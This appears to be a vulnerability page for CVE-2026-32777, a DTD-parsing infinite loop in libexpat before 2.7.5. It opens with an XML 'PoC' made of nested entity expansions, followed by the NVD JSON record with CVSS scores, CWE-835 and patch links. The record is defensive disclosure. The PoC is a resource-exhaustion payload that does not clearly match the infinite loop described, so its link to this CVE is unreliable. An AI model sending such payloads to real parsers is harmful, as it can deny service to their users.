CVE-2026-32777

<!-- PoC for CVE-2026-32777: libexpat DTD infinite loop --> <!DOCTYPE foo [ <!ENTITY x "value"> <!ENTITY a "&x;&x;&x;&x;&x;"> <!ENTITY b "&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;"> ]> <foo>&d;</foo>

{"cve": {"id": "CVE-2026-32777", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.780", "lastModified": "2026-03-17T15:52:34.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libexpat before 2.7.5 allows an infinite loop while parsing DTD content."}, {"lang": "es", "value": "libexpat antes de 2.7.5 permite un bucle infinito mientras analiza contenido DTD."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.5", "matchCriteriaId": "BE95FCA4-11DD-4E66-8259-4884F323D57B"}]}]}], "references": [{"url": "https://github.com/libexpat/libexpat/issues/1161", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/libexpat/libexpat/pull/1159", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/libexpat/libexpat/pull/1162", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://issues.oss-fuzz.com/issues/486993411", "source": "[email protected]", "tags": ["Permissions Required"]}]}}